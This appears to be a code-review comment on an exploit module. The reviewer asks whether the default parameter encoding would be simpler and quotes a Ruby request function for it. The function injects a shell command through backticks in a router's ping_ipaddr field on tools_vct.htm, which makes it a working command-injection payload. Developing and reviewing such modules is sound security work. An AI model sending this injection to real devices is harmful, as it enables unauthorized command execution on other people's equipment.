Here you use encode_params => false, but before you use "Rex::Text.uri_encode for cmd. Wouldn't be easier to just use the default encode_params to true? Something like:

```ruby
	def request(cmd,user,pass)
		#http://IP/tools_vct.htm?page=tools_vct&hping=0&ping_ipaddr=1.1.1.1%60COMMAND%60&ping6_ipaddr=

		begin
			res = send_request_cgi({
				'uri'    => @uri,
				'method' => 'GET',
				'vars_get' => {
					"page" => "tools_vct",
					"hping" => "0",
					"ping_ipaddr" => "1.1.1.1`#{cmd}`",
					"ping6_ipaddr" => ""
				}
			})
```

Just asking, maybe you tried and for any reason it doesn't work, I cannot test atm